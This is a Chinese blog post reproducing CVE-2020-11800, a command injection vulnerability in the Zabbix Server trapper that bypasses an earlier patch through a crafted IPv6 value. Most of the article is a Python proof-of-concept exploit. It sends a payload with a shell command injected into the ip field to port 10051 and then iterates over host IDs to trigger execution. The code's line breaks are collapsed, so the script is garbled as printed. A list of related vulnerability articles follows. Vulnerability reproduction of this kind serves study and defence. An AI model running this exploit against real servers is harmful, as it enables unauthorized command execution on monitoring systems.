Zabbix Server trapper命令注入漏洞（CVE-2020-11800）

漏洞简介

Zabbix SIA Zabbix是拉脱维亚Zabbix SIA公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix SIA zabbix3-proxy 3.0.31之前版本和zabbix3-server 3.0.31之前版本中存在安全漏洞。在CVE-2017-2824中，其Server端 trapper command 功能存在一处代码执行漏洞，而修复补丁并不完善，导致可以利用IPv6进行绕过，注入任意命令。

漏洞复现

修改CVE-2017-2824的POC中的IP字段，构造新的POC：

import sys
import socket
import json
import sysdef send(ip, data):conn = socket.create_connection((ip, 10051), 10)conn.send(json.dumps(data).encode())data = conn.recv(2048)conn.close()return datatarget = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})if data and b'failed' not in data:print('hostid: %d' % i)print(data)

当查看到如下结果时，则说明命令执行成功：

Zabbix Server trapper命令注入漏洞（CVE-2020-11800）相关推荐

Zabbix Server trapper 命令注入漏洞 (CVE-2017-2824)
文章目录声明一.漏洞简介二.影响范围三.环境搭建四.本地实战 POC测试反弹Shell 声明本篇文章仅用于技术学习与漏洞复现,切勿用于非授权下的渗透测试行为,切记! 一.漏洞简介 Zab ...
Zabbix Server trapper命令注入漏洞（CVE-2017-2824）
漏洞简介 Zabbix Server是拉脱维亚Zabbix SIA公司的一套应用于服务器端的开源的监控系统.该系统可监视各种网络参数,并提供通知机制让系统管理员快速定位.解决存在的各种问题. Zabb ...
（CVE-2020-11800）Zabbix_Server_trapper_命令注入漏洞
(CVE-2020-11800)Zabbix_Server_trapper_命令注入漏洞 20210508 一.漏洞简介 Zabbix 是由Alexei Vladishev 开发的一种网络监视.管理系 ...
java 漏洞挖掘_Apache Tika命令注入漏洞挖掘
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 介绍这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤. ...
OpenSSH 命令注入漏洞通告（CVE-2020-15778，Openssh ＜=8.3p1）
一.漏洞概要 2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开.OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者 ...
查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)
OpenSSH命令注入漏洞复现(CVE-2020-15778) 目录漏洞描述漏洞等级漏洞影响版本漏洞复现修复建议 ▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现.通 ...
openssh漏洞_技术干货 | OpenSSH命令注入漏洞复现(CVE202015778)
本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作! 欢迎各位添加 ...
对开源库 limdu 命令注入漏洞 (CVE-2020-4066) 的简要分析
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队开源库Limdu 的 trainBatch 函数中存在一个命令注入漏洞 (CVE-2020-4066). Limdu 是 Node.j ...
修改jar 注入_Apache Tika命令注入漏洞挖掘
介绍这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤.CVE是https://nvd.nist.gov/vuln/detail/CVE-2018-1335.由于Apache ...

Zabbix Server trapper命令注入漏洞（CVE-2020-11800）

漏洞简介

漏洞复现

Zabbix Server trapper命令注入漏洞（CVE-2020-11800）相关推荐

最新文章

热门文章